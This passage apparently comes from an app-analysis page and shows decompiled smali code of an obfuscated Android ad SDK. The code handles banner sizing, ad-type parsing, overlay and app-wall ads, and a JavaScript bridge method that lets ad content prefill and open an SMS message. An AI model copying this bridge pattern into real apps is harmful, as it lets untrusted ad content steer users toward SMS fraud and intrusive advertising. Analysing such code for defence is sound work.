137 | goto_c4: return-void | |
138 | cond_c5: const/high16 v6, 0x42700000 # 60.0f | |
139 | mul-float/2addr v6, v2 | |
140 | add-float/2addr v6, v7 | |
141 | float-to-int v6, v6 | |
142 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
143 | const/16 v6, 0x3c | |
144 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I | |
145 | const/high16 v6, 0x43ea0000 # 468.0f | |
146 | mul-float/2addr v6, v2 | |
147 | add-float/2addr v6, v7 | |
148 | float-to-int v6, v6 | |
149 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
150 | const/16 v6, 0x1d4 | |
151 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
152 | goto/16 :goto_42 | |
153 | cond_dd: if-eqz p1, :cond_42 | |
155 | const-string v6, "medium_rectangle" | |
157 | invoke-virtual {p1, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
158 | move-result v6 | |
159 | if-eqz v6, :cond_42 | |
160 | const/high16 v6, 0x437a0000 # 250.0f | |
161 | mul-float/2addr v6, v2 | |
162 | add-float/2addr v6, v7 | |
163 | float-to-int v6, v6 | |
164 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
165 | const/high16 v6, 0x43960000 # 300.0f | |
166 | mul-float/2addr v6, v2 | |
167 | add-float/2addr v6, v7 | |
168 | float-to-int v6, v6 | |
169 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
170 | const/16 v6, 0xfa | |
171 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I | |
172 | const/16 v6, 0x12c | |
173 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
174 | goto/16 :goto_42 | |
175 | cond_ff: iput v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
176 | int-to-float v6, v4 | |
177 | div-float/2addr v6, v2 | |
178 | float-to-int v6, v6 | |
179 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
180 | new-instance v6, Ljava/lang/StringBuilder; | |
182 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
184 | const-string v7, "else: " | |
186 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
187 | move-result-object v6 | |
189 | invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder; | |
190 | move-result-object v6 | |
192 | const-string v7, " " | |
194 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
195 | move-result-object v6 | |
197 | invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder; | |
198 | move-result-object v6 | |
200 | const-string v7, " " | |
202 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
203 | move-result-object v6 | |
204 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
206 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
207 | move-result-object v6 | |
209 | const-string v7, " " | |
211 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
212 | move-result-object v6 | |
213 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
215 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
216 | move-result-object v6 | |
218 | const-string v7, " " | |
220 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
221 | move-result-object v6 | |
222 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I | |
224 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
225 | move-result-object v6 | |
227 | const-string v7, " " | |
229 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
230 | move-result-object v6 | |
231 | iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I | |
233 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
234 | move-result-object v6 | |
236 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
237 | move-result-object v6 | |
239 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
240 | goto/16 :goto_c4 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: | |
3 | const-string v6, "<VAST>" | |
5 | invoke-virtual {p1, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z |
|
6 | move-result v6 | |
7 | if-eqz v6, :cond_18 | |
8 | sget v6, Landroid/os/Build$VERSION;->SDK_INT:I | |
9 | const/4 v7, 0x7 | |
10 | if-le v6, v7, :cond_18 | |
11 | new-instance v5, Lcom/vxjxu/jkhfn1870/VideoAd; | |
13 | sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
15 | invoke-direct {v5, v6}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V | |
17 | invoke-virtual {v5, p1}, Lcom/vxjxu/jkhfn1870/VideoAd;->parseVideoAd(Ljava/lang/String;)V | |
18 | goto_17: return-void | |
19 | cond_18: new-instance v2, Lorg/json/JSONObject; | |
21 | invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
23 | const-string v6, "status" | |
25 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
26 | move-result v6 | |
27 | if-eqz v6, :cond_5b | |
28 | const/4 v4, 0x0 | |
29 | goto_26: | |
30 | const-string v6, "message" | |
32 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
33 | move-result v6 | |
34 | if-eqz v6, :cond_62 | |
36 | const-string v3, "" | |
37 | goto_30: | |
38 | const-string v6, "adtype" | |
40 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
41 | move-result v6 | |
42 | if-eqz v6, :cond_69 | |
44 | const-string v0, "" | |
45 | goto_3a: const/16 v6, 0xc8 | |
46 | if-ne v4, v6, :cond_e2 | |
48 | const-string v6, "" | |
50 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
51 | move-result v6 | |
52 | if-nez v6, :cond_e2 | |
54 | const-string v6, "AW" | |
56 | invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
57 | move-result v6 | |
58 | if-eqz v6, :cond_70 | |
60 | invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseAppWallJson(Ljava/lang/String;)V | |
61 | try_end_51: goto/16 :goto_17 | |
62 | catch_52: move-exception v1 | |
64 | const-string v6, "AirplaySDK" | |
66 | const-string v7, "Error in Smart Wall json: " | |
68 | invoke-static {v6, v7, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
69 | goto/16 :goto_17 | |
70 | cond_5b: | |
71 | const-string v6, "status" | |
73 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
74 | move-result v4 | |
75 | goto/16 :goto_26 | |
76 | cond_62: | |
77 | const-string v6, "message" | |
79 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
80 | move-result-object v3 | |
81 | goto/16 :goto_30 | |
82 | cond_69: | |
83 | const-string v6, "adtype" | |
85 | invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
86 | move-result-object v0 | |
87 | goto/16 :goto_3a | |
88 | cond_70: | |
89 | const-string v6, "OLAU" | |
91 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
92 | move-result v6 | |
93 | if-nez v6, :cond_90 | |
95 | const-string v6, "DAU" | |
97 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
98 | move-result v6 | |
99 | if-nez v6, :cond_90 | |
101 | const-string v6, "DCC" | |
103 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
104 | move-result v6 | |
105 | if-nez v6, :cond_90 | |
107 | const-string v6, "DCM" | |
109 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
110 | move-result v6 | |
111 | if-eqz v6, :cond_9e | |
112 | cond_90: | |
113 | invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->showOverlayAd(Ljava/lang/String;)V | |
114 | try_end_93: goto/16 :goto_17 | |
115 | catch_94: move-exception v1 | |
117 | const-string v6, "AirplaySDK" | |
119 | const-string v7, "Error in Smart Wall response: " | |
121 | invoke-static {v6, v7, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
122 | goto/16 :goto_17 | |
123 | try_start_9e: | |
124 | const-string v6, "" | |
126 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
127 | move-result v6 | |
128 | if-nez v6, :cond_b3 | |
130 | const-string v6, "FP" | |
132 | invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
133 | move-result v6 | |
134 | if-eqz v6, :cond_b3 | |
136 | invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseLandingPageAdJson(Ljava/lang/String;)V | |
137 | goto/16 :goto_17 | |
138 | cond_b3: | |
139 | const-string v6, "" | |
141 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
142 | move-result v6 | |
143 | if-nez v6, :cond_c8 | |
145 | const-string v6, "MFP" | |
147 | invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
148 | move-result v6 | |
149 | if-eqz v6, :cond_c8 | |
151 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseRichMediaInterstitialJson(Lorg/json/JSONObject;)V | |
152 | goto/16 :goto_17 | |
153 | cond_c8: | |
154 | const-string v6, "AirplaySDK" | |
155 | new-instance v7, Ljava/lang/StringBuilder; | |
157 | invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V | |
159 | const-string v8, "Invalid ad type delivered in SmartWall: " | |
161 | invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
162 | move-result-object v7 | |
164 | invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
165 | move-result-object v7 | |
167 | invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
168 | move-result-object v7 | |
170 | invoke-static {v6, v7}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
171 | goto/16 :goto_17 | |
172 | cond_e2: | |
173 | invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
174 | try_end_e5: goto/16 :goto_17 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "attributeSet" # Landroid/util/AttributeSet; | |
1 | .prologue | |
2 | if-eqz p1, :cond_b5 | |
3 | try_start_2: | |
4 | const-string v2, "http://schemas.android.com/apk/res-auto" | |
6 | const-string v3, "test_mode" | |
7 | const/4 v4, 0x0 | |
9 | invoke-interface {p1, v2, v3, v4}, Landroid/util/AttributeSet;->getAttributeBooleanValue(Ljava/lang/String;Ljava/lang/String;Z)Z |
|
10 | move-result v3 | |
11 | iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z | |
12 | const/16 v3, 0x2d | |
13 | iput v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
15 | const-string v3, "banner_type" | |
17 | invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
18 | move-result-object v0 | |
19 | if-eqz v0, :cond_8f | |
21 | const-string v3, "image" | |
23 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
24 | move-result v3 | |
25 | if-nez v3, :cond_41 | |
27 | const-string v3, "text" | |
29 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
30 | move-result v3 | |
31 | if-nez v3, :cond_41 | |
33 | const-string v3, "rich_media" | |
35 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
36 | move-result v3 | |
37 | if-nez v3, :cond_41 | |
39 | const-string v3, "medium_rectangle" | |
41 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
42 | move-result v3 | |
43 | if-nez v3, :cond_41 | |
45 | const-string v3, "inappad" | |
47 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
48 | move-result v3 | |
49 | if-eqz v3, :cond_8f | |
50 | cond_41: | |
51 | const-string v3, "AirplayMraid" | |
52 | new-instance v4, Ljava/lang/StringBuilder; | |
54 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
56 | const-string v5, "Banner Type" | |
58 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
59 | move-result-object v4 | |
61 | invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
62 | move-result-object v4 | |
64 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
65 | move-result-object v4 | |
67 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
68 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
69 | goto_5b: if-eqz v0, :cond_75 | |
71 | const-string v3, "rich_media" | |
73 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
74 | move-result v3 | |
75 | if-eqz v3, :cond_75 | |
77 | const-string v3, "placementType" | |
79 | invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
80 | move-result-object v3 | |
81 | if-eqz v3, :cond_a4 | |
83 | const-string v3, "placementType" | |
85 | invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
86 | move-result-object v3 | |
87 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String; | |
88 | goto_75: | |
89 | const-string v3, "animation" | |
91 | invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
92 | move-result-object v3 | |
93 | if-eqz v3, :cond_b0 | |
95 | const-string v3, "animation" | |
97 | invoke-interface {p1, v2, v3}, Landroid/util/AttributeSet;->getAttributeValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
98 | move-result-object v3 | |
99 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
100 | goto_85: | |
101 | const-string v3, "canShowMR" | |
102 | const/4 v4, 0x0 | |
104 | invoke-interface {p1, v2, v3, v4}, Landroid/util/AttributeSet;->getAttributeBooleanValue(Ljava/lang/String;Ljava/lang/String;Z)Z |
|
105 | move-result v3 | |
106 | iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z | |
107 | goto_8e: return-void | |
108 | cond_8f: | |
109 | const-string v3, "inappad" | |
110 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
112 | const-string v3, "AirplayMraid" | |
114 | const-string v4, "Invalid banner type. Setting to default: inappad" | |
116 | invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
117 | try_end_9a: goto/16 :goto_5b | |
118 | catch_9b: move-exception v1 | |
120 | const-string v3, "AirplayMraid" | |
122 | const-string v4, "Error occurred: " | |
124 | invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
125 | goto/16 :goto_8e | |
126 | try_start_a4: | |
127 | const-string v3, "AirplayMraid" | |
129 | const-string v4, "Invalid placement type. Setting to default placementType: inline." | |
131 | invoke-static {v3, v4}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
133 | const-string v3, "inline" | |
134 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String; | |
135 | goto/16 :goto_75 | |
136 | cond_b0: | |
137 | const-string v3, "fade" | |
138 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
139 | goto/16 :goto_85 | |
140 | cond_b5: | |
141 | const-string v3, "AttributeSet is null. Using default parameters" | |
143 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
145 | const-string v3, "inappad" | |
146 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
147 | const/4 v3, 0x0 | |
148 | iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z | |
150 | const-string v3, "fade" | |
151 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
152 | const/16 v3, 0x2d | |
153 | iput v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
155 | const-string v3, "inline" | |
156 | iput-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String; | |
157 | const/4 v3, 0x0 | |
158 | iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z | |
159 | try_end_d0: goto/16 :goto_8e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "number" # Ljava/lang/String; | |
1 | .param p2, "sms_text" # Ljava/lang/String; | |
2 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
3 | .end annotation | |
4 | .prologue | |
6 | const-string v2, "AirplayMraid" | |
8 | const-string v3, "Sending SMS....." | |
10 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
11 | try_start_7: | |
12 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
14 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
15 | move-result-object v2 | |
16 | if-eqz v2, :cond_18 | |
18 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
20 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
21 | move-result-object v2 | |
23 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
24 | cond_18: if-eqz p1, :cond_22 | |
26 | const-string v2, "" | |
28 | invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
29 | move-result v2 | |
30 | if-eqz v2, :cond_2c | |
31 | cond_22: | |
32 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
34 | const-string v3, "sendSms" | |
36 | const-string v4, "Numer is null." | |
38 | invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
39 | goto_2b: return-void | |
40 | cond_2c: if-eqz p2, :cond_36 | |
42 | const-string v2, "" | |
44 | invoke-virtual {p2, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
45 | move-result v2 | |
46 | if-eqz v2, :cond_74 | |
47 | cond_36: | |
48 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
50 | const-string v3, "sendSms" | |
52 | const-string v4, "SMS text is null." | |
54 | invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
55 | try_end_3f: goto/16 :goto_2b | |
56 | catch_40: move-exception v0 | |
58 | const-string v2, "AirplayMraid" | |
59 | new-instance v3, Ljava/lang/StringBuilder; | |
61 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
63 | const-string v4, "Error whlie displaying push ad......: " | |
65 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
66 | move-result-object v3 | |
68 | invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
69 | move-result-object v4 | |
71 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
72 | move-result-object v3 | |
74 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
75 | move-result-object v3 | |
77 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
79 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
81 | const-string v3, "sendSms" | |
83 | const-string v4, "Error occurred while sending message" | |
85 | invoke-virtual {v2, v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
87 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
89 | const-string v3, "error" | |
91 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
92 | goto_6d: | |
93 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
94 | const/4 v3, 0x1 | |
96 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
97 | goto/16 :goto_2b | |
98 | try_start_74: new-instance v1, Landroid/content/Intent; | |
100 | const-string v2, "android.intent.action.VIEW" | |
102 | invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V |
|
103 | const/high16 v2, 0x10000000 | |
105 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
107 | const-string v2, "vnd.android-dir/mms-sms" | |
109 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent; |
|
111 | const-string v2, "address" | |
113 | invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
115 | const-string v2, "sms_body" | |
117 | invoke-virtual {v1, v2, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
119 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
121 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
122 | move-result-object v2 | |
124 | invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
126 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
128 | const-string v3, "98" | |
130 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
131 | try_end_9f: goto/16 :goto_6d |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "activity" # Landroid/app/Activity; | |
1 | .param p2, "banner_type" # Ljava/lang/String; | |
2 | .param p3, "placementType" # Ljava/lang/String; | |
3 | .param p4, "isTestMode" # Z | |
4 | .param p5, "canShowMRInAPP" # Z | |
5 | .param p6, "animationForBanner" # Ljava/lang/String; | |
6 | .prologue | |
7 | const/16 v6, 0x2d | |
8 | const/4 v5, 0x0 | |
9 | const/4 v4, 0x1 | |
11 | invoke-direct {p0, p1}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V | |
13 | const-string v1, "AirplayMraid" | |
14 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->TAG:Ljava/lang/String; | |
15 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->debug:Z | |
16 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
17 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z | |
18 | iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
19 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAdRequestInProgress:Z | |
20 | const-wide/16 v2, 0x0 | |
21 | iput-wide v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->lastAdfetchedTime:J | |
22 | iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
23 | const/16 v1, 0x1d4 | |
24 | iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
25 | const/16 v1, 0x3c | |
26 | iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
27 | new-instance v1, Ljava/util/ArrayList; | |
29 | invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V | |
30 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List; | |
32 | const-string v1, "fade" | |
33 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
35 | const-string v1, "inappad" | |
36 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
37 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z | |
38 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$1; | |
40 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
41 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
42 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$2; | |
44 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$2;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
45 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
46 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$8; | |
48 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$8;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
49 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->getDoc:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
50 | iput-boolean p4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z | |
51 | if-eqz p2, :cond_b7 | |
53 | const-string v1, "image" | |
55 | invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
56 | move-result v1 | |
57 | if-nez v1, :cond_75 | |
59 | const-string v1, "text" | |
61 | invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
62 | move-result v1 | |
63 | if-nez v1, :cond_75 | |
65 | const-string v1, "rich_media" | |
67 | invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
68 | move-result v1 | |
69 | if-nez v1, :cond_75 | |
